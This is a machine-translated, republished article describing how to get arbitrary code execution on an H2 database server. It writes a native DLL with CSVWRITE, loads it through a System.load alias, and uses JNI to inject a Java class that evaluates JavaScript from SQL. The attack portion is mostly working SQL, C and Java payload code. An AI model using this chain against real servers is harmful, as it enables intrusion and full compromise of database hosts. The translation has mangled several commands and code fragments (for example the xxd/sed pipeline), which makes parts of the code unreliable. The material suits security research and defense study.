In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-22 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
This article is about how to use native database and JNI to achieve H2 database vulnerability exploitation, the editor thinks it is very practical, so I share it with you to learn. I hope you can get something after reading this article. Let's take a look at it.
Introduction
By using native libraries (.dll or .so) and the Java native interface (JNI), find a new way to execute arbitrary Java code without using the Java compiler on the target server.
H2 capability assessment
Suppose we can't use CREATE ALIAS... AS... Command because the Java compiler is not available. The reason may be that it is not Java Development Kit (JDK) but Java Runtime Environment (JRE), so there is no compiler. Or the Java compiler javac cannot be found because the PATH environment variable is not set correctly.
But, CREATE ALIAS... FOR... The command can use:
When referencing a method, the class must have been compiled and included in the classpath of the running database. Only static Java methods are supported; both classes and methods must be public.
Therefore, each public static method can be used. In the worst case, only H3-1.2.141.jar and JRE are available. In addition, only supported data types are available for nested function calls.
When browsing candidates in the Java runtime library rt.jar, we found that the System.load (String) method allows native libraries to be loaded. This means that we can execute the code through the entry point function of the library.
But how do you load the library onto the H2 server? Although Java on Windows supports the UNC path and extracts the file, it refuses to actually load it. And it doesn't work on Linux. So, how do you write the file to the H2 server?
Write to any file using H2
After looking at and studying some H2 functions, we found a FILE_WRITE file write function. Unfortunately, FILE_WRITE was introduced in 1.4.190. What we need is the functions available in 1.2.141. Finally we found a function called CSVWRITE, which is the only function with "write" in its name.
A quick test shows that the CSV column header is also printed. Looking at the CSV option, you can see that there is a writeColumnHeader option that can be used to disable writing column headers. Unfortunately, the writeColumnHeader option is only added to 1.3 Universe 1.4.177.
But looking at the other supported options, fieldSeparator,fieldDelimiter,escape,null and lineSeparator, I had an idea: what if we emptied them all and used CSV column headers to write to our data? If the H2 database engine allows columns to have any name of any length, then we can write any data.
Check the column syntax of H2. The columnName of a column can be a name in quotes, defined as follows:
"anything"
Quoted names are case-sensitive and can contain spaces. There is no maximum name length. Two double quotes can be used to create a single and double quotation mark within the identifier.
That sounds perfect. Let's see if we can put anything in it, and whether CSVWRITE has binary security.
First, let's generate test data that covers all 8-bit octet:
$python-c 'import sys; [sys.stdout.write (chr (I)) for i in range (0256)]' > test.bin$ sha1sum test.bin4916d6bdb7f78e6803698cab32d1586ea457dfc8 test.bin
Now we generate a series of CHAR (n) function calls that generate our binary data in the SQL query:
Xxd-p-c 256 test.bin | sed-e's s/CHAR... /), CHAR (0x hammer G'- e's / ^), / /'- e's Universe /) /'- e 's/CHAR (0x22) / &, & / g'
Then, we use it in the following CSVWRITE call:
SELECT CSVWRITE ('C:\ Windows\ Temp\ test.bin', CONCAT ('SELECT NULL',...,''), 'ISO-8859-1,')
Finally, we test whether the file written has the same checksum:
C:\ Windows\ Temp > certutil-hashfile test.bin SHA1SHA1 hash of file test.bin:49 16 d6 bd b7 f7 8e 68 03 69 8c ab 32 d1 58 6e a4 57 df c8CertUtil:-hashfile command completed successfully.
As you can see, the files should be the same!
Enter the original world
Now that we can use the built-in function CSVWRITE to write the native library to disk and load it by creating an alias for System.load (String), we can use the entry point of the library for code execution.
Let's go a step further and see if there is a way to execute arbitrary commands / code from SQL.
Java Native Interface (JNI) allows interaction between native code and the Java virtual machine (JVM). So, in this case, it will allow us to interact with the JVM running the H2 database.
Now, my idea is to use JNI to inject custom Java classes into the running JVM through ClassLoader.defineClass (byte [], int, int). This will allow us to create an alias and call it from SQL.
Use JNI to call JVM
First, we need to get a handle to the running JVM. This can be done through the JNI_GetCreatedJavaVMs function. Then, attach the current thread to the VM and get the JNI interface pointer (JNIEnv). Using this pointer, we can interact with JVM and call JNI functions, such as FindClass, GetStaticMethodID/GetMethodID > and CallStaticMethod/CallMethod. The plan is to get the system class loader through ClassLoader.getSystemClassLoader () and call defineClass:
/ / xxd-p-c 10000 bin/JNIScriptEngine.class | sed-e's Stringchar buf. / / public static JNIScriptEngine.eval (String js): Stringchar buf [] = {/ *... * /}; size_t bufLen = sizeof (buf); jbyteArray jData = (* g_env)-> NewByteArray (g_env, bufLen) (* g_env)-> SetByteArrayRegion (g_env, jData, 0, bufLen, (jbyte*) buf); JNIEnv * gambienvtJavaVM* gambivmitsjsize num_vms = 0positionjint result = JNI_GetCreatedJavaVMs (& g_vm, 1, & num_vms); int getEnvStat = (* g_vm)-> GetEnv (g_vm, (void * *) & g_env, JNI_VERSION_1_6); if (getEnvStat = JNI_EDETACHED) {/ / printf ("GetEnv: not attached\ n") If ((* g_vm)-> AttachCurrentThread (g_vm, (void * *) & g_env, NULL)! = 0) {/ / printf ("Failed to attach\ n");} else if (getEnvStat = = JNI_OK) {/ / printf ("GetEnv: everything's fine\ n");} else if (getEnvStat = = JNI_EVERSION) {/ / printf ("GetEnv: version not supported\ n");} jclass cls;jmethodID meth;jobject obj Cls = (* g_env)-> FindClass (g_env, "java/lang/ClassLoader"); / / static java.lang.ClassLoader.getSystemClassLoader (): java.lang.ClassLoadermeth = (* g_env)-> GetStaticMethodID (g_env, cls, "getSystemClassLoader", "() Ljava/lang/ClassLoader;"); jobject systemClassLoader = (* g_env)-> CallStaticObjectMethod (g_env, cls, meth) / java.lang.ClassLoader.defineClass (byte [], int, int): java.lang.Classmeth = (* g_env)-> GetMethodID (g_env, cls, "defineClass", "[BII) Ljava/lang/Class;"); jobject loadedClass = (* g_env)-> CallObjectMethod (g_env, systemClassLoader, meth, jData, 0, (jint) bufLen); (* g_env)-> DeleteLocalRef (g_env, jData); (* g_vm)-> DetachCurrentThread (g_vm)
This basically mimics the following Java code:
Class cls = Class.forName ("java.lang.ClassLoader"); Method meth = cls.getDeclaredMethod ("getSystemClassLoader", new Class [0]); Object systemClassLoader = meth.invoke (null, new Object [0]); meth = cls.getDeclaredMethod ("defineClass", new Class [] {byte [] .class, int.class, int.class}); meth.setAccessible (true); meth.invoke (systemClassLoader, new Object [] {jData, 0, jData.length})
The custom Java class JNIScriptEngine has only one public static method, which evaluates the passed script using the available ScriptEngine instance:
Public class JNIScriptEngine {public static String eval (String script) throws Exception {return new javax.script.ScriptEngineManager (). GetEngineFactories (). Get (0). GetScriptEngine (). Eval (script). ToString ();}}
In the end, the integrated code is as follows:
-- write native librarySELECT CSVWRITE ('C:\ Windows\ Temp\ JNIScriptEngine.dll', CONCAT ('SELECT NULL ",...,'), 'ISO-8859-1 Temp,'');-- load native libraryCREATE ALIAS IF NOT EXISTS System_load FOR" java.lang.System.load "; CALL System_load ('C:\ Windows\ Temp\ JNIScriptEngine.dll');-- evaluate scriptCREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR" JNIScriptEngine.eval " CALL JNIScriptEngine_eval ('7141')
This allows us to execute arbitrary JavaScript code from SQL.
The above is how to use native libraries and JNI to achieve H2 database vulnerability exploitation, the editor believes that there are some knowledge points that we may see or use in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.